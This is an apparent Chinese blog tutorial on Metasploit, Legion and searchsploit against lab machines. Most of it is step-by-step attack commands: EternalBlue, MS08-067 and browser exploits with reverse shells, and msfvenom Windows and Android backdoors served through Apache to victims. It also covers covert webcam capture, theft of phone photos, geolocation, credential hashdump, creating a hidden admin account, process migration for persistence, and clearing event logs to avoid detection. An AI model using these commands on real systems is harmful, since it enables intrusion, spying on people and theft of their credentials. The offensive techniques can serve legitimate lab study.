黑客玩具入门——4、漏洞扫描与Metasploit
1、Legion漏洞扫描分析工具
Legion是Sparta的一个分支,它是一个开源的、易于使用的、超级可扩展的、半自动的网络渗透测试框架。它是一款Kali Linux系统默认集成的Python GUI应用程序工具。Legion是一个Nmap、Nikto、Hydra等工具的集合,利用各个工具的优秀功能,完成收集信息、扫描和爆破等任务。
Legion主要包含以下功能:端口扫描,程序自动调用Nmap进行扫描,根据Nmap的扫描结果,nikto自动加载结果,展开更精确的扫描。针对扫描结果,使用特定的工具,比如dirbuster目录爆破,利用webslayer进行web指纹识别。针对可暴力破解的端口,调用hydra进行暴力破解。下面我们来看下如何使用这款工具:
首先我们先登录Metasploitable2,通过ifconfig命令获取其IP地址。然后

打开Legion工具。然后输入sudo legion启动工具。

点击加号。

在这里输入你要渗透的ip即可,然后点击submit按钮即可。

2、漏洞利用searchsploit
首先,大家先记下一个地址:https://www.exploit-db.com/。它是专门用来收集各种漏洞的网站。在kali系统中,有搜索漏洞数据库的本地副本,我们可以在终端窗口中输入命令去搜索。
命令就是searchsploit,它的常用选项如下:
- -c,--case [Term]:执行区分大小写的搜索,默认搜索对大小写不敏感。
- -e,--exact [Term]:对exploit标题执行EXACT匹配(默认为AND)。
- -j,--json [Term]:以JSON格式显示结果。
- -m,--mirror [EDB-ID]:将一个漏洞利用镜像副本到当前工作目录。
- -o,--overflow [Term]: exploit标题被允许溢出其列。
- -p,--path [EDB-ID]:显示漏洞利用的完整路径。如果可能, 还将复制路径到粘贴板。
- -t,--title [Term]:仅仅搜索漏洞标题,默认是标题和文件的路径。
- -u,--update [Term]:检查并安装任何exploit-db软件包更新。
- -w,--www [Term]:显示exploit-db.com的URL而不是本地路径(在线搜索)。
下面我们看下例子:
- searchsploit -t oracle windows:搜索标题中包含oracle windows的漏洞。
- searchsploit -p 3389:搜索漏洞号为3389的漏洞。
- searchsploit mysql:查找mysql的漏洞。
- searchsploit apple:查找apple的漏洞。
实践:
- 我们需要在win7上安装一个easy file sharing的软件,该软件是一种允许访客容易的经由浏览器上传、下载文件的文件分享系统。
- 安装完成后,我们可以在kali系统中,通过searchsploit easy file sharing命令,来查看该软件的一些漏洞。

- 然后我们找到/usr/share/exploitdb/exploits/windows/remote/。这个地址下的39009.py文件。

- 由于是python脚本所以我们使用python命令来执行,完整的命令是这样的:python /usr/share/exploitdb/exploits/windows/remote/39009.py xxx.xxx.xxx.xxx 80。
- 然后回车,就会发现windows7中的计算器打开了。就说明你的脚本入侵成功了。
3、Metasploit简介
Metasploit被业内誉为可以黑掉整个宇宙的工具,虽然有些夸张,但是足以见得Metasploit有多强大。Metasploit是目前最流行、 最强大、最具拓展性的渗透测试平台。2003年由HD摩尔发布第一版,2007年用ruby语言重写。后来被Rapid7收购后,分出了多个版本,有付费的,也有免费的。 Metasploit的官网是:https://www.metasploit.com/。
我们可以在Kali系统中找到该软件:

点击之后输入系统root密码,等待一会后,就变成这样了:

4、Metasploit:端口扫描
实验靶机:metasploitable2。
- 使用Nmap进行扫描,nmap xxx.xxx.xxx.xxx。
- 用metasploit模块进行扫描,search portscan。
- use auxiliary/scanner/portscan/tcp。
- show options,查看需要设置的参数。
- set rhosts xxx.xxx.xxx.xxx。
- 然后输入命令:run。即可。
5、Metasploit:SMB扫描
实验靶机:win7。
SMB,全称是Server Message Block,即服务信息块,是一个协议名。它能被用于Web链接和客户端与服务器之间的信息沟通。通过扫描SMB,可以识别目标的系统信息。
- search smb。
- use auxiliary/scanner/smb/smb_version。
- set rhosts xxx.xxx.xxx.xxx。
- run。
6、Metasploit:服务识别
实验靶机:linux。
扫描服务器的SSH服务。
- search ssh。
- use auxiliary/scanner/ssh/ssh_version。
- set rhosts xxx.xxx.xxx.xxx。
- run。
7、Metasploit:网络嗅探
获取FTP密码。
我们需要一个模拟用户:win7。需要一个实验靶机:Windows server 2008(带有FTP服务)。
- use auxiliary/sniffer/psnuffle,使用嗅探模块。
- sudo su,如果权限不够的话,切换用户。
- 输入msfconsole,启动Metasploit。
- 然后再实用模块,run即可。
8、Metasploit:SNMP扫描与枚举
SNMP是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机等)的一种标准协议,它是一种应用层协议。各种网络设备上都可以看到默认启用的SNMP服务,从交换机到路由器,从防火墙到网络打印机,无一例外。
本次的实验靶机:Metasploitable2。
默认情况下,Metasploitable2的SNMP服务仅监听本地主机。所以我们需要对靶机的默认配置做一下修改。
- cd /etc/default/snmpd。
- 然后通过vim编辑一下,snmpd.pid 后面的ip改成0.0.0.0即可。
- 然后跟之前一样,搜索snmp相关的模块:search snmp_login。
- 然后,use auxiliary/scanner/snmp/snmp_login。
- 然后就是set ip。再就是run。完了
- 我们还可以使用auxiliary/scanner/snmp/snmp_enum模块。这里就不重复如何使用了。
9、Metasploit:扫描弱密码主机
实验靶机:多台windows。
使用的模块:auxiliary/scanner/smb/smb_login。
知道ip地址范围即可,批量扫描。
10、Metasploit:VNC身份识别
VNC(Virtual Network Console)是虚拟网络控制台的缩写。它是一款优秀的远程控制工具软件。VNC是在基于UNIX和Linux操作系统的免费的开源软件,远程控制能力强大,高效实用,其性能可以和windows和Mac中的任何远程控制软件媲美。在Linux中,VNC包括以下四个命令:
- vncserver
- vncviewer
- vncpasswd
- vncconnect
大多数情况,只需要1、2两个命令即可。
实验靶机:Metaspolitable2。
- use auxiliary/scanner/vnc/vnc_none_auth。
- set rhosts xxx.xxx.xxx.xxx。
- run。
然后我们试下vnc密码爆破
- use auxiliary/scanner/vnc/vnc_login。
- set rhosts xxx.xxx.xxx.xxx。
- run。
然后我们有了密码,试下vnc登录。
- 打开一个新的终端。
- 然后输入vncviewer xxx.xxx.xxx.xxx。
- 输入爆破出来的密码即可远程连接上了。
11、Wmap网站漏洞扫描
Wmap本身不是一个独立的漏洞扫描器,而是作为Metasploit的一个模块。结合Web漏洞和Web服务相关的模块协同工作,完成目标服务器的扫描任务。它的扫描结果不会自动生成报告,而是直接存入Metasploit的数据库。
- load wmap:加载wmap
- wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/:向wmap中添加一个扫描站点。
- wmap_sites -l:查看已添加的站点。
- wmap_targets -d 0:根据已添加站点的ID,设置带扫描的目标站点。
- wmap_targets -l:检查已待扫描的目标主机。
- wmap_run -e:执行测试。
- vulns:扫描完成后,使用Metasploit命令检查漏洞记录。
- wmap_vulns -l。
实战:
- 先在Kali的浏览器里输入你已开启的Metasploitable2的虚拟机的ip。不同版本浏览器的位置可能会有些区别,但是你一定可以找到的。

- 然后可以看到这样一个超链接。

- 点击超链接,进入一个网站。这就是我们要扫描的网站。

- 然后执行:wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/命令。
- 然后执行:wmap_sites -l。查看一下编号id。
- 然后执行测试:wmap_run -e。
- 等待结束后,可以通过vulns然后wmap_vulns -l命令查看漏洞。
12、Metasploit远程代码执行
实验靶机:Window Server 2008/Windows 7。
- search ms17-010。ms:微软。17:17年。010:第十个。
- 然后执行:use exploit/windows/smb/ms17_010_eternalblue。
- 设置一下相关的参数:
- set rhosts xxx.xxx.xxx.xxx。
- set payload windows/x64/shell/reverse_tcp。
- set lhost xxx.xxx.xxx.xxx。
- run。
13、Metasploit:利用浏览器漏洞远程执行代码
实验靶机:Windows XP。漏洞利用:ms12-004。
- search ms12-004。
- use exploit/windows/browser/ms12_004_midi。
- set srvhost xxx.xxx.xxx.xxx(当前主机ip)。
- set payload windows/x64/shell/reverse_tcp。
- set lport 6666。
- run。
- 然后监听成功后,会生成一个随机的地址。在windows上打开这个地址。回到kali的命令行中,可以查看到它的session。
- 然后输入命令:sessions。
- 然后使用session:sessions -i [session id]。
- 然后就可以进去了。
14、Metasploit:漏洞提权
实验靶机:windows xp。
前提必须要有一个session会话。
- search ms08-067。
- use exploit/windows/smb/ms08_067_netapi。
- set rhosts xxx.xxx.xxx.xxx。
- set lport 5555。
- run。
- sessions。
- search 14-002。
- use exploit/windows/local/bthpan。
- set session [session id]。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- run。
其他模块:
- exploit/windows/local/ms13_053_schlamperei
- exploit/windows/local/ms13_081_track_popup_menu
15、Metasploit:生成后门
首先,windows、Linux、java、php、Android等后门都支持。嘿嘿。
1、生成windows后门
命令:
- msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 -f exe -o /home/kali(你的home目录下的用户目录)/payload.exe
- msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 -i 3 -e x86/shikata_ga_nai -f exe -o /home/kali(你的home目录下的用户目录)/payload.exe
Msfvenom:
- msfvenom --list archs,查看支持的系统架构。
- msfvenom --list platforms,查看支持系统平台。
- msfvenom -l payload,查看所有可用的payload。
- msfvenom -l formats,查看所有的输出格式。
- msfvenom -l encrypt,查看所有的加密方式。
- msfvenom -l encoders,查看所有的解码器。
实践:
- 先输入上面的命令中的第一条命令,然后在你的home/XXX目录下可以看到一个payload.exe文件。
- 然后我们需要启动apache服务:sudo service apache2 start。
- 然后在windows的虚拟机里,可以通过浏览器访问kali的ip地址,就会打印出Apache服务。
- 然后我们把生成的exe文件复制到windows中。
- 删除Apache主页的页面,把payload.exe复制过去。(想要右键删除,发现删不了,好吧,用命令行删吧)
- cd /var/www/html。
- sudo rm index.nginx-debian.html
- sudo rm index.html
- sudo cp /home/xx(你的用户名)/payload.exe /var/www/html/
- 然后刷新windows浏览器刚才的地址,就会看到一个文件,然后把它保存到本地的桌面上即可。
- 删除Apache主页的页面,把payload.exe复制过去。(想要右键删除,发现删不了,好吧,用命令行删吧)
- 打开Metasploit。(刚才的payload.exe相当于被控端,我们还需要和主控端结合使用)。设置使用模块及参数:
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set lhost xxx.xxx.xxx.xxx(你的主控端ip)
- set lport 5555
- run
- 然后出现下面的命令行主机名就说明我们成功了:

2、生成Android后门
实验靶机:Android模拟器。
总体的流程跟windows后门是很类似的,只是使用的模块有些许的区别。我们需要修改一些配置:
- 把kali系统的网络连接模式改成桥接模式,因为安卓模拟器是安在物理主机上的,桥接模式之前讲过了这里不再多说。

- 安装一个安卓模拟器,不要安装腾讯手游助手,那个更偏向游戏玩耍。安装个夜神啊啥的都行。注意,是安装在你的物理机上的。
- 然后输入:sudo ifconfig。我们会发现,ip地址变化了。
实验开始:
- msfvenom -p android/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 R>/home/kali(你的home目录下的用户目录)/payload.apk
- 同样的开始Apache服务:sudo service apache2 start。
- 然后在你的安卓模拟器的浏览器里,输入你的kali虚拟机的ip。
- 把你的apk安装包复制到apache目录下:sudo cp /home/zakingwong/payload.apk /var/www/html/。
- 刷新下安卓模拟器的目录。发现有了新的apk文件。
- 跟windows的操作一样,下载apk,安装apk。
- 然后,打开Metasploit。
- 使用主控端模块,跟windows一样:use exploit/multi/handler。
- set payload android/meterpreter/reverse_tcp。
- set lhost xxx.xxx.xxx.xxx(你的主控端ip)。
- set lport 5555。
- run
然后你就可以干你想干的事了。
3、远程控制安卓手机,调用摄像头拍照
- webacm_list,查看有哪些摄像头。
- webacm_snap,从指定的摄像头拍摄快照:
- -h:显示帮助。
- -i:要使用的网络摄像头的索引号。
- -p:JPEG图像文件路径。默认为HOME/[随机乱码名字].jpeg。
- -q:JPEG图像质量,默认为50。
- -v:自动查看JPEG图像,默认为“true”。
- webcam_stream:从指定的网络摄像头播放视频流。
- 然后,自己用命令去玩吧。
- 友情提示,链接你wifi的安卓手机,都可以这么玩。所以,不要干坏事!!!!违法的!!!
4、远程控制安卓手机,上传下载文件
我们先来学下文件系统命令:
- cat,读取并输出到标准输出。
- cd,更改目录。
- checksum,检索文件的校验和。
- cp,将源文件复制到目标文件夹。
- dir,列表文件,ls的别名。
- download,从目标系统文件下载。
- eidt,用vim编辑文件。
- getlwd,打印本地目录。
- getwd,打印工作目录。
- lcd,更改本地目录。
- lls,列出本地文件。
- lpwd,打印本地工作目录。
- ls,列出文件。
- mkdir,创建目录。
- mv,将源文件移动到目标目录。
- pwd,输出工作目录。
- rm,删除文件。
- search,搜索文件。
- upload,上传文件或目录。
实践从手机下载文件,上传文件,大家可以自己尝试哦:
- cd /
- ls
- cd sdcard
- ls
- cd DCIM
- ls
- cd Camera
- download 1.jpeg
5、远程控制安卓手机,实现定位
具体的Android命令有很多,这里就不多说了,大家有兴趣可以自己去百度查下。然后实现定位就很简单了,使用geolocate命令即可。
16、Meterpreter:Windows访问文件系统
- 首先,把网络连接模式修改成NAT模式
- 在windows运行之前生成好的exe文件,如果不知道咋回事回头看下。
- 在kali系统上开启主控端:use exploit/multi/handler 。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- set lhost xxx.xxx.xxx.xxx(主控端ip)。
- run。
- 跟之前一样,被控端安装下exe文件。
- 然后就可以操作windows的系统文件了。相关命令跟之前安卓部分的命令都差不多。这里就不多说了。
17、Meterpreter:Windows权限提升和获取凭证
有的时候,你可能会发现自己的Meterpreter会话受到了用户权限的限制。修改注册表、安装后门或导出密码等活动都需要提升用权限。而Meterpreter给我们提供了一个getsystem命令,可以实现提权。
另外,getuid可以获取当前的用户信息,system是系统的最高权限。如果使用system命令仍无法获取,那么接下来可以使用之前学过的漏洞提权。
我们来看下漏洞提权的实践步骤:
- search ms13-053。
- use exploit/windows/local/ms13_053_schlamperei。
- 然后我们需要设置一下session。之前学过的,这里不说了。
- set session 1。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- run。
提升权限后,可以通过hashdump模块,从SAM数据库中导出本地账号。数据的输出格式是:
用户名:SID:LM哈希:NTLM哈希:::
18、Meterpreter:Windows运行程序和屏幕截图
快速执行命令脚本:每次我们执行的命令内容基本上都是类似的,所以我们可以创建一个文件。

1.然后右键选择用mousepad打开。
2.然后可以把我们常用的命令写到这个脚本里。内容如下:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.10.129 set lport 5555
3.然后保存文件。
4.打开Metasploit。输入这样的命令:resource /home/(你的用户名)/windows_control。
5.脚本就运行了。
6.然后直接run。
7.再打开被控端就可以了。
1、运行程序
execute命令可以可以在目标系统中执行应用程序。该命令的使用方法如下:
- execute -f <file> [Options]
- -H,创建一个隐藏进程。
- -a,传递给命令的参数。
- -i,跟进程进行交互。
- -m,从内存中执行。
- -t,使用当前伪造的线程令牌运行进程。
- -s,在给定会话中执行进程。
然后哈哈哈哈哈,我们可以试一下这个命令:execute -f calc.exe。打开Windows的计算器。哦吼,好玩吧。
2、屏幕截图
screenshot命令来进行截图,并存储在kali中。
screenshare命令可以进行实时的监控。
19、Meterpreter:Windows创建新账号和启用远程桌面
1、创建新账号
通过getgui脚本,使用-u和-p参数,并给它分配管理员权限,然后将其添加到远程桌面用户组中。
run getgui -u hack -p pass123
注意:如果你的权限不是SYSTEM,需要用之前学过的方法进行提权。提权之后再用上面的命令创建用户。
2、启用远程桌面
如果用户没有开启远程桌面功能,那么可以通过:
run getgui -e
来开启远程桌面。
在开启远程桌面之前,我们还需要使用idletime命令检查远程用户的空闲时常,这样可以降低你被发现的概率。
然后我们在新的终端执行:rdesktop [你的目标ip:3389]。
然后可能你创建的用户权限不够。那么你可以在Meterpreter中执行shell命令,也就是打开你控制的目标主机的终端,执行下面的命令:
net localgroup administrators hack/add。这里的hack就是你之前创建的用户名。
20、Meterpreter:Windows进程绑定和清除事件日志
1、进程绑定
Meterpreter可以通过与其他进程绑定来实现持久化。
- 使用ps命令查看运行的进程。(当然要通过之前写好的脚本链接主控端和被控端,进入Meterpreter)
- 通过getpid命令,拿到当前你这个hack脚本的进程。
- 然后我们随便找一个ps列出来的进程绑定吧。使用migrate [pid]命令即可。
- 在查看pid就会变成绑定的那个pid了。
2、清除日志
可以通过clearev命令来清除日志。
ps:我们可以通过右键计算机-》管理-》事件查看器-》Windows日志。来查看日志。
黑客玩具入门——4、漏洞扫描与Metasploit的更多相关文章
- Metasploit漏洞扫描
Metasploit漏洞扫描 漏洞扫描是自动在目标中寻找和发现安全弱点. 漏洞扫描器会在网络上和对方产生大量的流量,会暴露自己的行为过程,如此就不建议你使用漏扫了. 基本的漏洞扫描 我们首先使用net ...
- 2018-2019-2 20165215《网络攻防技术》Exp6 信息搜集与漏洞扫描
目录 实验目的 实验内容 基础知识 实验步骤 (一)各种搜索技巧的应用 Google Hacking 搜索网址目录结构 搜索特定类型的文件 路由侦查 (二)DNS IP注册信息的查询 whois域名注 ...
- 2018-2019-2 20165312《网络攻防技术》Exp6 信息搜集与漏洞扫描
2018-2019-2 20165312<网络攻防技术>Exp6 信息搜集与漏洞扫描 目录 一.信息搜集技术与隐私保护--知识点总结 二.实验步骤 各种搜索技巧的应用 Google Hac ...
- 20155339 Exp6 信息搜集与漏洞扫描
20155339 Exp6 信息搜集与漏洞扫描 实验后回答问题 (1)哪些组织负责DNS,IP的管理. 全球根服务器均由美国政府授权的ICANN统一管理,负责全球的域名根服务器.DNS和IP地址管理. ...
- 2018-2019-2 20165330《网络对抗技术》Exp6 信息搜集与漏洞扫描
目录 基础问题 相关知识 实验目的 实验内容 实验步骤 实验总结与体会 实验目的 掌握信息搜集的最基础技能与常用工具的使用方法. 返回目录 实验内容 各种搜索技巧的应用 使用搜索引擎 搜索网址目录结构 ...
- Metaspliot进行漏洞扫描
Metaspliot进行漏洞扫描 Metasploit框架是Metasploit项目中最著名的创作,是一个软件开发.测试和利用漏洞的平台.它可以用来创建安全测试工具开发的模块,也可利用模块作为一个渗透 ...
- 2018-2019-2 网络对抗技术 20165322 Exp6 信息搜集与漏洞扫描
2018-2019-2 网络对抗技术 20165322 Exp6 信息搜集与漏洞扫描 目录 实验原理 实验内容与步骤 各种搜索技巧的应用 DNS IP注册信息的查询 基本的扫描技术 漏洞扫描 基础问题 ...
- 2018-2019-2 20165210《网络对抗技术》Exp6 信息搜集与漏洞扫描
2018-2019-2 20165210<网络对抗技术>Exp6 信息搜集与漏洞扫描 一.实验目标: 掌握信息搜集的最基础技能与常用工具的使用方法. 二.实验内容: 各种搜索技巧的应用 G ...
- 20164305 徐广皓 Exp6 信息搜集与漏洞扫描
信息搜集技术与隐私保护 间接收集 无物理连接,不访问目标,使用第三方信息源 使用whois/DNS获取ip 使用msf中的辅助模块进行信息收集,具体指令可以在auxiliary/gather中进行查询 ...
- 10大Web漏洞扫描工具
Web scan tool 推荐10大Web漏洞扫描程序 Nikto 这是一个开源的Web服务器扫描程序,它可以对Web服务器的多种项目(包括3500个潜在的危险文件/CGI,以及超过900个服务器版 ...
随机推荐
- [ansible]wget批量调用shell脚本
前言 相较于使用playbook,个人更习惯于编写shell脚本.如果需要多台服务器执行某一任务,可以将脚本放在某个http服务目录下,比如nginx,然后通过ansible的shell模块让服务器通 ...
- [golang]标准库-json
前言 json数据格式通常包含两个操作:序列化(把对象转换成JSON数据类型)和反序列化(把JSON数据类型转换成对象),二者操作互逆. Go语言中相关标准库为encoding/json. 示例代码 ...
- 何时使用MongoDB而不是MySql
什么是 MySQL 和 MongoDB MySQL 和 MongoDB 是两个可用于存储和管理数据的数据库管理系统.MySQL 是一个关系数据库系统,以结构化表格格式存储数据.相比之下,MongoDB ...
- 利用pytorch自定义CNN网络(四):损失函数和优化器
本文是利用pytorch自定义CNN网络系列的第四篇,主要介绍如何训练一个CNN网络,关于本系列的全文见这里. 笔者的运行设备与软件:CPU (AMD Ryzen 5 4600U) + pytorch ...
- 使用kube-bench检测Kubernetes集群安全
目录 一.系统环境 二.前言 三.CIS (Center for Internet Security)简介 四.什么是Kube-Bench? 五.使用kube-bench检测不安全的设置 5.1 手动 ...
- SpringMVC配置web.xml文件详解(列举常用的配置)
常用的web.xml的配置 1.Spring 框架解决字符串编码问题:过滤器 CharacterEncodingFilter(filter-name) 2.在web.xml配置监听器ContextLo ...
- P1830题解
思路: 利用桶存储轰炸区域,双重循环. 在存储轰炸区域时将次数刷新,也就是pos[j][k]=i;. 下面是核心代码: for(int i=1;i<=x;i++) { int x1,x2,y1, ...
- ArcMap用一个面要素擦除另一个面要素的部分
本文介绍在ArcMap软件中,基于擦除("Erase")工具,对矢量面要素的部分区域加以剔除的操作. 假如我们已知这样一个研究区域,其包括了陆地与水体两个部分. 与此同 ...
- CCF 202012-5星际旅行(20~100分)
前置知识 线段树:通过懒惰标记,可实现区间处理,和区间询问皆为\(O(logn)\)时间复杂度的数据结构,是一种二叉树.因此对于一个节点\(st\),其左儿子节点为\(st*2\),右节点为\(st* ...
- pbjs 无法编码 bytes 类型数据问题的解决方案
问题背景 之前写过一篇<使用脚本收发 protobuf 协议数据>,通过 pbjs 命令可以将 protobuf 二进制数据转换为 json: > pbjs msg.proto -- ...